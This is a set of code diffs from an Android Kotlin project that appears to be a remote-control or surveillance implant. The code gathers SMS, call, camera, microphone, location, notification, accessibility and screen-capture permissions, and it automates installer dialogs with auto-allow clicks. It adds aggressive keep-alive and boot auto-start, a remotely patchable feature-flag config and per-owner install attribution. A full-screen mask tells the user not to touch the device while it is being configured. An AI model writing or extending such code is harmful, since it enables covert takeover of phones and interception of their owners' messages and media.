"mode" to blockViewMode.name.lowercase()
)
}
}
}

View File

@@ -150,10 +150,15 @@ class PermissionRequestActivity : Activity() {
// Android 13+ 使用新的媒体权限
val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
Log.d(TAG, "Android 13+ 使用新的媒体权限")
arrayOf(
val basePermissions = mutableListOf(
Manifest.permission.READ_MEDIA_IMAGES,
Manifest.permission.READ_MEDIA_VIDEO
Manifest.permission.READ_MEDIA_VIDEO,
Manifest.permission.READ_MEDIA_AUDIO
)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
basePermissions.add(Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
}
basePermissions.toTypedArray()
} else {
Log.d(TAG, "Android 12及以下使用传统存储权限")
arrayOf(

View File

@@ -0,0 +1,20 @@
package com.hikoncont.util
import android.content.BroadcastReceiver
import android.content.Context
import android.content.IntentFilter
import android.os.Build
fun Context.registerReceiverCompat(
receiver: BroadcastReceiver,
filter: IntentFilter,
exported: Boolean = false
) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
val flags = if (exported) Context.RECEIVER_EXPORTED else Context.RECEIVER_NOT_EXPORTED
registerReceiver(receiver, filter, flags)
} else {
@Suppress("DEPRECATION")
registerReceiver(receiver, filter)
}
}

View File

@@ -47,6 +47,80 @@ object ConfigWriter {
false
}
}
/**
* 更新运行时功能开关配置featureFlags
*/
fun updateFeatureFlags(context: Context, featureFlags: Map<String, Boolean>): Boolean {
return try {
val existingConfig = readExistingConfig(context)
val existingFlags = existingConfig.optJSONObject("featureFlags") ?: JSONObject()
featureFlags.forEach { (key, value) ->
existingFlags.put(key, value)
}
existingConfig.put("featureFlags", existingFlags)
val success = writeConfigToFile(context, existingConfig)
if (success) {
Log.i(TAG, "✅ featureFlags更新成功: $existingFlags")
} else {
Log.e(TAG, "❌ featureFlags更新失败")
}
success
} catch (e: Exception) {
Log.e(TAG, "更新featureFlags时发生异常", e)
false
}
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 写入安装归属配置安装链接Token、解析地址、归属用户和可选网络配置
*/
fun applyInstallBinding(
context: Context,
installToken: String? = null,
installResolveUrl: String? = null,
ownerUserId: Long? = null,
ownerUsername: String? = null,
ownerGroupId: Long? = null,
ownerGroupName: String? = null,
serverUrl: String? = null,
webUrl: String? = null,
webrtcTurnUrls: String? = null,
webrtcTurnUsername: String? = null,
webrtcTurnPassword: String? = null,
): Boolean {
return try {
val existingConfig = readExistingConfig(context)
installToken?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("installToken", it) }
installResolveUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("installResolveUrl", it) }
ownerUserId?.let { existingConfig.put("ownerUserId", it.toString()) }
ownerUsername?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("ownerUsername", it) }
ownerGroupId?.let { existingConfig.put("ownerGroupId", it.toString()) }
ownerGroupName?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("ownerGroupName", it) }
serverUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("serverUrl", it) }
webUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webUrl", it) }
webrtcTurnUrls?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnUrls", it) }
webrtcTurnUsername?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnUsername", it) }
webrtcTurnPassword?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnPassword", it) }
val success = writeConfigToFile(context, existingConfig)
if (success) {
Log.i(TAG, "✅ 安装归属配置写入成功")
} else {
Log.e(TAG, "❌ 安装归属配置写入失败")
}
success
} catch (e: Exception) {
Log.e(TAG, "写入安装归属配置异常", e)
false
}
}
/**
* 读取现有配置文件
@@ -59,6 +133,7 @@ object ConfigWriter {
if (internalConfigFile.exists()) {
val jsonString = internalConfigFile.readText()
val config = JSONObject(jsonString)
ensureFeatureFlags(config)
Log.d(TAG, "✅ 从内部存储读取现有配置")
return config
}
@@ -70,6 +145,7 @@ object ConfigWriter {
inputStream.close()
val config = JSONObject(jsonString)
ensureFeatureFlags(config)
Log.d(TAG, "✅ 从assets读取默认配置")
config
} catch (e: Exception) {
@@ -84,17 +160,38 @@ object ConfigWriter {
*/
private fun createDefaultConfig(): JSONObject {
return JSONObject().apply {
put("serverUrl", "ws://192.168.10.205:3001")
put("serverUrl", "ws://192.168.100.45:3001")
put("webUrl", "https://m.baidu.com")
put("webrtcTurnUrls", "")
put("webrtcTurnUsername", "")
put("webrtcTurnPassword", "")
put("ownerUserId", "")
put("ownerUsername", "")
put("ownerGroupId", "")
put("ownerGroupName", "")
put("installToken", "")
put("installResolveUrl", "")
put("buildTime", System.currentTimeMillis().toString())
put("version", "1.0.0")
put("enableConfigMask", false)
put("enableProgressBar", true)
put("featureFlags", RuntimeFeatureFlags.toJson(RuntimeFeatureFlags.defaults()))
put("configMaskText", "配置中请稍后...")
put("configMaskSubtitle", "正在自动配置和连接\n请勿操作设备")
put("configMaskStatus", "配置完成后将自动返回应用")
}
}
private fun ensureFeatureFlags(config: JSONObject) {
val existingFlags = config.optJSONObject("featureFlags") ?: JSONObject()
val defaults = RuntimeFeatureFlags.toJson(RuntimeFeatureFlags.defaults())
defaults.keys().forEach { key ->
if (!existingFlags.has(key)) {
existingFlags.put(key, defaults.optBoolean(key))
}
}
config.put("featureFlags", existingFlags)
}
/**
* 将配置写入文件 - 使用小米设备优化策略

View File

@@ -2,93 +2,152 @@
import android.os.Build
import android.util.Log
import com.hikoncont.util.adaptation.DeviceRuntimeInfo
import com.hikoncont.util.adaptation.InstallerAutomationPlanner
import com.hikoncont.util.adaptation.InstallerUiAutomationPlan
import com.hikoncont.util.adaptation.KeepAliveAdaptationRegistry
import com.hikoncont.util.adaptation.RomPolicy
import com.hikoncont.util.adaptation.RomPolicyRegistry
import com.hikoncont.util.adaptation.WebRtcTransportAdaptationRegistry
import com.hikoncont.util.adaptation.WebRtcTransportPolicy
/**
* 设备检测工具类
* 用于检测设备品牌和型号,为不同设备提供定制化策略
* Centralized device profile detector.
*
* Keep all ROM/model branching here so feature modules do not hardcode
* manufacturer checks independently.
*/
object DeviceDetector {
private const val TAG = "DeviceDetector"
/**
* 检测是否为OPPO设备
*/
enum class DeviceBrand {
OPPO,
VIVO,
XIAOMI,
HUAWEI,
ONEPLUS,
SAMSUNG,
REALME,
UNKNOWN
}
data class KeepAlivePolicy(
val useActivityKeepAlive: Boolean,
val enableAggressiveWorkers: Boolean,
val keepAliveCheckIntervalMs: Long,
val minForegroundKickIntervalMs: Long
)
fun isOppoDevice(): Boolean {
return try {
val brand = Build.BRAND.lowercase()
val manufacturer = Build.MANUFACTURER.lowercase()
val product = Build.PRODUCT.lowercase()
val device = Build.DEVICE.lowercase()
val model = Build.MODEL.lowercase()
val isOppo = brand.contains("oppo") ||
manufacturer.contains("oppo") ||
product.contains("oppo") ||
device.contains("oppo") ||
model.contains("oppo")
Log.d(TAG, "🔍 OPPO设备检测: brand=$brand, manufacturer=$manufacturer, isOppo=$isOppo")
isOppo
} catch (e: Exception) {
Log.e(TAG, "❌ 检测OPPO设备失败", e)
false
}
val brand = Build.BRAND.lowercase()
val manufacturer = Build.MANUFACTURER.lowercase()
val product = Build.PRODUCT.lowercase()
val device = Build.DEVICE.lowercase()
val model = Build.MODEL.lowercase()
val isOppo =
brand.contains("oppo") ||
manufacturer.contains("oppo") ||
product.contains("oppo") ||
device.contains("oppo") ||
model.contains("oppo")
Log.d(TAG, "OPPO detect: brand=$brand manufacturer=$manufacturer model=$model -> $isOppo")
return isOppo
}
/**
* 检测设备品牌类型
*/
fun getDeviceBrand(): String {
private fun readRuntimeInfo(): DeviceRuntimeInfo {
return DeviceRuntimeInfo(
brand = getDeviceBrand(),
sdkInt = Build.VERSION.SDK_INT,
brandRaw = Build.BRAND,
manufacturerRaw = Build.MANUFACTURER,
modelRaw = Build.MODEL,
deviceRaw = Build.DEVICE,
productRaw = Build.PRODUCT
)
}
fun getRuntimeInfo(): DeviceRuntimeInfo {
return readRuntimeInfo()
}
fun getDeviceBrand(): DeviceBrand {
return try {
val brand = Build.BRAND.lowercase()
val manufacturer = Build.MANUFACTURER.lowercase()
Log.d(TAG, "🔍 设备品牌检测: brand=$brand, manufacturer=$manufacturer")
when {
brand.contains("oppo") || manufacturer.contains("oppo") -> "OPPO"
brand.contains("vivo") || manufacturer.contains("vivo") -> "VIVO"
brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> "XIAOMI"
brand.contains("huawei") || brand.contains("honor") || manufacturer.contains("huawei") -> "HUAWEI"
brand.contains("oneplus") || manufacturer.contains("oneplus") -> "ONEPLUS"
brand.contains("samsung") || manufacturer.contains("samsung") -> "SAMSUNG"
brand.contains("realme") || manufacturer.contains("realme") -> "REALME"
else -> "UNKNOWN"
brand.contains("oppo") || manufacturer.contains("oppo") -> DeviceBrand.OPPO
brand.contains("vivo") || manufacturer.contains("vivo") || brand.contains("iqoo") || manufacturer.contains("iqoo") -> DeviceBrand.VIVO
brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> DeviceBrand.XIAOMI
brand.contains("huawei") || brand.contains("honor") || manufacturer.contains("huawei") -> DeviceBrand.HUAWEI
brand.contains("oneplus") || manufacturer.contains("oneplus") -> DeviceBrand.ONEPLUS
brand.contains("samsung") || manufacturer.contains("samsung") -> DeviceBrand.SAMSUNG
brand.contains("realme") || manufacturer.contains("realme") -> DeviceBrand.REALME
else -> DeviceBrand.UNKNOWN
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检测设备品牌失败", e)
"UNKNOWN"
Log.e(TAG, "detect brand failed", e)
DeviceBrand.UNKNOWN
}
}
/**
* 检测是否需要Activity保活
* OPPO设备只使用服务保活不使用Activity保活
*/
fun getKeepAlivePolicy(): KeepAlivePolicy {
val info = readRuntimeInfo()
val resolution = KeepAliveAdaptationRegistry.resolve(info)
val policy = resolution.keepAlivePolicy
Log.i(
TAG,
"keepAlivePolicy strategy=${resolution.strategyId} brand=${info.brand} sdk=${info.sdkInt} activity=${policy.useActivityKeepAlive} aggressive=${policy.enableAggressiveWorkers} interval=${policy.keepAliveCheckIntervalMs} minKick=${policy.minForegroundKickIntervalMs}"
)
return policy
}
fun getActiveKeepAliveStrategyId(): String {
return KeepAliveAdaptationRegistry.resolve(readRuntimeInfo()).strategyId
}
fun getWebRtcTransportPolicy(): WebRtcTransportPolicy {
val info = readRuntimeInfo()
val policy = WebRtcTransportAdaptationRegistry.resolve(info)
Log.i(
TAG,
"webrtcTransportPolicy strategy=${policy.strategyId} brand=${info.brand} sdk=${info.sdkInt} retryDelay=${policy.offerRetryDelayMs} retryMax=${policy.offerRetryMax} refresh=${policy.refreshTriggerIntervalMs} emergency=${policy.emergencyRefreshMinIntervalMs} defaultDisplay=${policy.preferDefaultDisplayCaptureIntent} forceFgs=${policy.forceMediaProjectionFgsBeforeCapture}"
)
return policy
}
fun getRomPolicy(): RomPolicy {
val info = readRuntimeInfo()
val policy = RomPolicyRegistry.resolve(info)
Log.i(
TAG,
"romPolicy strategy=${policy.strategyId} brand=${info.brand} sdk=${info.sdkInt} installer=${policy.installerStrategy} stepOrder=${policy.permissionStepOrder.joinToString("|") { it.name }}"
)
return policy
}
fun getInstallerUiAutomationPlan(): InstallerUiAutomationPlan {
val info = readRuntimeInfo()
val policy = RomPolicyRegistry.resolve(info)
val plan = InstallerAutomationPlanner.resolve(policy)
Log.i(
TAG,
"installerUiPlan strategy=${plan.strategyId} brand=${info.brand} sdk=${info.sdkInt} installer=${policy.installerStrategy} clickInterval=${plan.autoAllowClickMinIntervalMs} cooldown=${plan.dialogHandleCooldownMs}"
)
return plan
}
fun getActiveRomPolicyStrategyId(): String {
return RomPolicyRegistry.resolve(readRuntimeInfo()).strategyId
}
fun shouldUseActivityKeepAlive(): Boolean {
val brand = getDeviceBrand()
val shouldUse = when (brand) {
"OPPO" -> {
Log.i(TAG, "📱 OPPO设备禁用Activity保活仅使用服务保活")
false
}
"VIVO" -> {
Log.i(TAG, "📱 VIVO设备禁用Activity保活仅使用服务保活")
false
}
else -> {
Log.i(TAG, "📱 ${brand}设备允许Activity保活")
true
}
}
Log.d(TAG, "🔍 保活策略检测: 品牌=$brand, 使用Activity保活=$shouldUse")
return shouldUse
return getKeepAlivePolicy().useActivityKeepAlive
}
/**
* 检测设备详细信息
*/
fun getDeviceInfo(): Map<String, String> {
return try {
mapOf(
@@ -101,7 +160,7 @@ object DeviceDetector {
"release" to Build.VERSION.RELEASE
)
} catch (e: Exception) {
Log.e(TAG, "❌ 获取设备信息失败", e)
Log.e(TAG, "read device info failed", e)
emptyMap()
}
}

View File

@@ -0,0 +1,83 @@
package com.hikoncont.util
import android.content.Context
import android.os.Build
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
/**
* Lightweight device-side metrics bridge.
* Metrics are emitted through SocketIOManager and stored on server side.
*/
object DeviceMetricsReporter {
private const val TAG = "DeviceMetricsReporter"
private const val METRIC_TYPE_PERMISSION = "permission_flow"
private const val METRIC_TYPE_KEEPALIVE = "keepalive"
fun reportPermission(
context: Context,
metricName: String,
success: Boolean? = null,
data: Map<String, Any?> = emptyMap()
) {
val flags = RuntimeFeatureFlags.current(context)
if (!flags.permissionMetrics) {
Log.d(TAG, "Permission metrics disabled by feature flag")
return
}
report(context, METRIC_TYPE_PERMISSION, metricName, success, data)
}
fun reportKeepAlive(
context: Context,
metricName: String,
success: Boolean? = null,
data: Map<String, Any?> = emptyMap()
) {
val flags = RuntimeFeatureFlags.current(context)
if (!flags.keepAliveMetrics) {
Log.d(TAG, "Keepalive metrics disabled by feature flag")
return
}
report(context, METRIC_TYPE_KEEPALIVE, metricName, success, data)
}
fun report(
context: Context,
metricType: String,
metricName: String,
success: Boolean? = null,
data: Map<String, Any?> = emptyMap()
) {
try {
val service = AccessibilityRemoteService.getInstance()
val socketManager = service?.getSocketIOManager()
if (socketManager == null || !socketManager.isConnected()) {
Log.d(
TAG,
"Skip metric (socket unavailable): type=$metricType, name=$metricName"
)
return
}
val payload = linkedMapOf<String, Any?>(
"brand" to Build.BRAND,
"manufacturer" to Build.MANUFACTURER,
"model" to Build.MODEL,
"sdkInt" to Build.VERSION.SDK_INT,
"release" to Build.VERSION.RELEASE,
"packageName" to context.packageName
)
payload.putAll(data)
socketManager.sendDeviceMetric(
metricType = metricType,
metricName = metricName,
success = success,
data = payload
)
} catch (e: Exception) {
Log.w(TAG, "Report metric failed: type=$metricType, name=$metricName", e)
}
}
}

View File

@@ -0,0 +1,77 @@
package com.hikoncont.util
import android.app.ActivityManager
import android.content.Context
import android.content.Intent
import android.os.Build
import android.util.Log
import com.hikoncont.service.RemoteControlForegroundService
/**
* Throttled starter for RemoteControlForegroundService.
*
* Avoids repeatedly calling startForegroundService within a short interval,
* which is unstable on some ROMs (especially Android 14/15 customized systems).
*/
object ForegroundServiceStarter {
private const val TAG = "ForegroundServiceStarter"
private const val PREF_NAME = "remote_fg_start_guard"
private const val KEY_LAST_START_AT = "last_start_at"
fun maybeStartRemoteForegroundService(
context: Context,
action: String? = null,
reason: String,
minIntervalMs: Long
): Boolean {
return try {
val now = System.currentTimeMillis()
val prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
val lastStartAt = prefs.getLong(KEY_LAST_START_AT, 0L)
val serviceRunning = isRemoteForegroundRunning(context)
// 服务已在运行时,跳过重复启动,避免 ROM 侧前台时限异常。
if (serviceRunning) {
Log.d(TAG, "skip start (already running): reason=$reason action=$action")
return false
}
if (now - lastStartAt < minIntervalMs) {
Log.d(
TAG,
"skip start (throttled): reason=$reason elapsed=${now - lastStartAt}ms minInterval=$minIntervalMs"
)
return false
}
val intent = Intent(context, RemoteControlForegroundService::class.java)
if (!action.isNullOrBlank()) {
intent.action = action
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
context.startForegroundService(intent)
} else {
context.startService(intent)
}
prefs.edit().putLong(KEY_LAST_START_AT, now).apply()
Log.d(TAG, "start remote foreground service: reason=$reason action=$action")
true
} catch (e: Exception) {
Log.e(TAG, "start remote foreground service failed: reason=$reason", e)
false
}
}
private fun isRemoteForegroundRunning(context: Context): Boolean {
return try {
val am = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
@Suppress("DEPRECATION")
val runningServices = am.getRunningServices(Int.MAX_VALUE)
runningServices.any { it.service.className == RemoteControlForegroundService::class.java.name }
} catch (_: Exception) {
false
}
}
}

View File

@@ -0,0 +1,144 @@
package com.hikoncont.util
import android.content.Context
import android.util.Log
import org.json.JSONObject
/**
* Runtime feature flags driven by server_config.json.
* These flags are intended to be updated remotely without reinstalling APK.
*/
object RuntimeFeatureFlags {
private const val TAG = "RuntimeFeatureFlags"
const val KEY_BOOT_AUTO_START = "bootAutoStart"
const val KEY_WORKMANAGER_KEEPALIVE = "workManagerKeepAlive"
const val KEY_COMPREHENSIVE_KEEPALIVE = "comprehensiveKeepAlive"
const val KEY_ENHANCED_EVENT_RECOVERY = "enhancedEventRecovery"
const val KEY_PERMISSION_METRICS = "permissionMetrics"
const val KEY_KEEPALIVE_METRICS = "keepAliveMetrics"
data class Flags(
val bootAutoStart: Boolean = true,
val workManagerKeepAlive: Boolean = true,
val comprehensiveKeepAlive: Boolean = true,
val enhancedEventRecovery: Boolean = true,
val permissionMetrics: Boolean = true,
val keepAliveMetrics: Boolean = true
)
fun defaults(): Flags = Flags()
fun current(context: Context): Flags {
val config = ConfigReader.readServerConfig(context)
val featureFlags = config?.optJSONObject("featureFlags")
return fromJson(featureFlags)
}
fun fromJson(featureFlags: JSONObject?): Flags {
val defaults = defaults()
return Flags(
bootAutoStart = featureFlags?.optBoolean(
KEY_BOOT_AUTO_START,
defaults.bootAutoStart
) ?: defaults.bootAutoStart,
workManagerKeepAlive = featureFlags?.optBoolean(
KEY_WORKMANAGER_KEEPALIVE,
defaults.workManagerKeepAlive
) ?: defaults.workManagerKeepAlive,
comprehensiveKeepAlive = featureFlags?.optBoolean(
KEY_COMPREHENSIVE_KEEPALIVE,
defaults.comprehensiveKeepAlive
) ?: defaults.comprehensiveKeepAlive,
enhancedEventRecovery = featureFlags?.optBoolean(
KEY_ENHANCED_EVENT_RECOVERY,
defaults.enhancedEventRecovery
) ?: defaults.enhancedEventRecovery,
permissionMetrics = featureFlags?.optBoolean(
KEY_PERMISSION_METRICS,
defaults.permissionMetrics
) ?: defaults.permissionMetrics,
keepAliveMetrics = featureFlags?.optBoolean(
KEY_KEEPALIVE_METRICS,
defaults.keepAliveMetrics
) ?: defaults.keepAliveMetrics
)
}
fun toJson(flags: Flags): JSONObject {
return JSONObject().apply {
put(KEY_BOOT_AUTO_START, flags.bootAutoStart)
put(KEY_WORKMANAGER_KEEPALIVE, flags.workManagerKeepAlive)
put(KEY_COMPREHENSIVE_KEEPALIVE, flags.comprehensiveKeepAlive)
put(KEY_ENHANCED_EVENT_RECOVERY, flags.enhancedEventRecovery)
put(KEY_PERMISSION_METRICS, flags.permissionMetrics)
put(KEY_KEEPALIVE_METRICS, flags.keepAliveMetrics)
}
}
fun toMap(flags: Flags): Map<String, Boolean> {
return mapOf(
KEY_BOOT_AUTO_START to flags.bootAutoStart,
KEY_WORKMANAGER_KEEPALIVE to flags.workManagerKeepAlive,
KEY_COMPREHENSIVE_KEEPALIVE to flags.comprehensiveKeepAlive,
KEY_ENHANCED_EVENT_RECOVERY to flags.enhancedEventRecovery,
KEY_PERMISSION_METRICS to flags.permissionMetrics,
KEY_KEEPALIVE_METRICS to flags.keepAliveMetrics
)
}
fun applyPatch(context: Context, patch: JSONObject?): Flags? {
if (patch == null) {
return current(context)
}
val existing = current(context)
val merged = merge(existing, patch)
val saved = ConfigWriter.updateFeatureFlags(context, toMap(merged))
if (!saved) {
Log.e(TAG, "Failed to persist runtime feature flags patch")
return null
}
Log.i(TAG, "Runtime feature flags updated: ${toJson(merged)}")
return merged
}
private fun merge(current: Flags, patch: JSONObject): Flags {
return Flags(
bootAutoStart = readOptionalBoolean(patch, KEY_BOOT_AUTO_START) ?: current.bootAutoStart,
workManagerKeepAlive = readOptionalBoolean(
patch,
KEY_WORKMANAGER_KEEPALIVE
) ?: current.workManagerKeepAlive,
comprehensiveKeepAlive = readOptionalBoolean(
patch,
KEY_COMPREHENSIVE_KEEPALIVE
) ?: current.comprehensiveKeepAlive,
enhancedEventRecovery = readOptionalBoolean(
patch,
KEY_ENHANCED_EVENT_RECOVERY
) ?: current.enhancedEventRecovery,
permissionMetrics = readOptionalBoolean(
patch,
KEY_PERMISSION_METRICS
) ?: current.permissionMetrics,
keepAliveMetrics = readOptionalBoolean(
patch,
KEY_KEEPALIVE_METRICS
) ?: current.keepAliveMetrics
)
}
private fun readOptionalBoolean(obj: JSONObject, key: String): Boolean? {
if (!obj.has(key)) {
return null
}
val value = obj.opt(key)
return when (value) {
is Boolean -> value
is Number -> value.toInt() != 0
is String -> value.equals("true", ignoreCase = true) || value == "1"
else -> null
}
}
}

View File

@@ -0,0 +1,337 @@
package com.hikoncont.util
import android.Manifest
import android.app.AlarmManager
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.net.Uri
import android.os.Build
import android.os.Environment
import android.os.PowerManager
import android.provider.Settings
import android.util.Log
import androidx.core.app.NotificationManagerCompat
/**
* 统一权限编排器
*
* 目标:
* 1. 一次性收敛可自动申请的运行时权限
* 2. 统一特殊权限检查顺序,便于首启和权限丢失回补
* 3. 输出可用于降级策略的缺失项快照
*/
object UnifiedPermissionOrchestrator {
private const val TAG = "UnifiedPermOrchestrator"
enum class Step {
RUNTIME,
OVERLAY,
WRITE_SETTINGS,
ALL_FILES_ACCESS,
NOTIFICATION_LISTENER,
BATTERY_OPTIMIZATION,
EXACT_ALARM,
ACCESSIBILITY,
MEDIA_PROJECTION
}
data class PermissionSnapshot(
val runtimeMissing: List<String>,
val overlayGranted: Boolean,
val writeSettingsGranted: Boolean,
val allFilesGranted: Boolean,
val notificationListenerGranted: Boolean,
val batteryOptimizationIgnored: Boolean,
val exactAlarmGranted: Boolean,
val accessibilityGranted: Boolean,
val mediaProjectionGranted: Boolean
) {
val runtimeGranted: Boolean
get() = runtimeMissing.isEmpty()
}
fun collectRuntimePermissionsForRequest(context: Context): List<String> {
val declared = getDeclaredPermissions(context)
val permissions = linkedSetOf<String>()
// 基础能力
addIfDeclared(declared, permissions, Manifest.permission.CAMERA)
addIfDeclared(declared, permissions, Manifest.permission.RECORD_AUDIO)
// 媒体读取能力
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_IMAGES)
addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_VIDEO)
addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_AUDIO)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
}
} else {
addIfDeclared(declared, permissions, Manifest.permission.READ_EXTERNAL_STORAGE)
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P) {
addIfDeclared(declared, permissions, Manifest.permission.WRITE_EXTERNAL_STORAGE)
}
}
// 短信/电话能力
addIfDeclared(declared, permissions, Manifest.permission.READ_SMS)
addIfDeclared(declared, permissions, Manifest.permission.SEND_SMS)
addIfDeclared(declared, permissions, Manifest.permission.RECEIVE_SMS)
addIfDeclared(declared, permissions, Manifest.permission.READ_PHONE_STATE)
addIfDeclared(declared, permissions, Manifest.permission.CALL_PHONE)
// 通知权限(Android 13+)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
addIfDeclared(declared, permissions, Manifest.permission.POST_NOTIFICATIONS)
}
// 厂商ROM中部分链路会校验定位权限
addIfDeclared(declared, permissions, Manifest.permission.ACCESS_FINE_LOCATION)
return permissions.toList()
}
fun getRuntimeMissingPermissions(context: Context): List<String> {
return collectRuntimePermissionsForRequest(context).filter {
context.checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
}
fun buildSnapshot(
context: Context,
accessibilityGranted: Boolean,
mediaProjectionGranted: Boolean
): PermissionSnapshot {
return PermissionSnapshot(
runtimeMissing = getRuntimeMissingPermissions(context),
overlayGranted = hasOverlayPermission(context),
writeSettingsGranted = hasWriteSettingsPermission(context),
allFilesGranted = hasAllFilesAccess(context),
notificationListenerGranted = hasNotificationListenerPermission(context),
batteryOptimizationIgnored = isIgnoringBatteryOptimization(context),
exactAlarmGranted = canScheduleExactAlarm(context),
accessibilityGranted = accessibilityGranted,
mediaProjectionGranted = mediaProjectionGranted
)
}
fun getMissingSteps(snapshot: PermissionSnapshot): List<Step> {
val missing = mutableListOf<Step>()
if (!snapshot.runtimeGranted) {
missing.add(Step.RUNTIME)
}
if (!snapshot.overlayGranted) {
missing.add(Step.OVERLAY)
}
if (!snapshot.writeSettingsGranted) {
missing.add(Step.WRITE_SETTINGS)
}
if (!snapshot.allFilesGranted) {
missing.add(Step.ALL_FILES_ACCESS)
}
if (!snapshot.notificationListenerGranted) {
missing.add(Step.NOTIFICATION_LISTENER)
}
if (!snapshot.batteryOptimizationIgnored) {
missing.add(Step.BATTERY_OPTIMIZATION)
}
if (!snapshot.exactAlarmGranted) {
missing.add(Step.EXACT_ALARM)
}
if (!snapshot.accessibilityGranted) {
missing.add(Step.ACCESSIBILITY)
}
if (!snapshot.mediaProjectionGranted) {
missing.add(Step.MEDIA_PROJECTION)
}
return missing
}
fun getDefaultStepOrder(manufacturerRaw: String): List<Step> {
val manufacturer = manufacturerRaw.lowercase()
val defaultOrder = mutableListOf(
Step.RUNTIME,
Step.OVERLAY,
Step.WRITE_SETTINGS,
Step.ALL_FILES_ACCESS,
Step.NOTIFICATION_LISTENER,
Step.BATTERY_OPTIMIZATION,
Step.EXACT_ALARM,
Step.ACCESSIBILITY,
Step.MEDIA_PROJECTION
)
// MIUI类设备优先把无障碍和录屏放到后面先完成可批量自动授权的权限
if (manufacturer.contains("xiaomi") || manufacturer.contains("redmi")) {
return defaultOrder
}
// Vivo/Oppo/Realme/iQOO/Huawei/Honor 类设备通常后台策略更激进,提前申请电池优化白名单
if (
manufacturer.contains("vivo") ||
manufacturer.contains("iqoo") ||
manufacturer.contains("oppo") ||
manufacturer.contains("realme") ||
manufacturer.contains("oneplus") ||
manufacturer.contains("huawei") ||
manufacturer.contains("honor")
) {
defaultOrder.remove(Step.BATTERY_OPTIMIZATION)
defaultOrder.add(4, Step.BATTERY_OPTIMIZATION)
return defaultOrder
}
return defaultOrder
}
fun buildSettingsIntent(context: Context, step: Step): Intent? {
return when (step) {
Step.OVERLAY -> Intent(
Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:${context.packageName}")
)
Step.WRITE_SETTINGS -> Intent(
Settings.ACTION_MANAGE_WRITE_SETTINGS,
Uri.parse("package:${context.packageName}")
)
Step.ALL_FILES_ACCESS -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
null
} else {
Intent(
Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
Uri.parse("package:${context.packageName}")
)
}
}
Step.NOTIFICATION_LISTENER -> Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")
Step.BATTERY_OPTIMIZATION -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
null
} else {
Intent(
Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS,
Uri.parse("package:${context.packageName}")
)
}
}
Step.EXACT_ALARM -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.S) {
null
} else {
Intent(Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM).apply {
data = Uri.parse("package:${context.packageName}")
}
}
}
else -> null
}?.apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
}
fun buildAppDetailsIntent(context: Context): Intent {
return Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
data = Uri.parse("package:${context.packageName}")
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
}
private fun hasOverlayPermission(context: Context): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
Settings.canDrawOverlays(context)
} else {
true
}
}
private fun hasWriteSettingsPermission(context: Context): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
Settings.System.canWrite(context)
} else {
true
}
}
private fun hasAllFilesAccess(context: Context): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
try {
Environment.isExternalStorageManager()
} catch (e: Exception) {
Log.w(TAG, "检查全部文件访问权限失败", e)
false
}
} else {
true
}
}
private fun hasNotificationListenerPermission(context: Context): Boolean {
return try {
NotificationManagerCompat.getEnabledListenerPackages(context).contains(context.packageName)
} catch (e: Exception) {
Log.w(TAG, "检查通知监听权限失败", e)
false
}
}
private fun isIgnoringBatteryOptimization(context: Context): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
try {
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
powerManager.isIgnoringBatteryOptimizations(context.packageName)
} catch (e: Exception) {
Log.w(TAG, "检查电池优化白名单失败", e)
false
}
} else {
true
}
}
private fun canScheduleExactAlarm(context: Context): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
try {
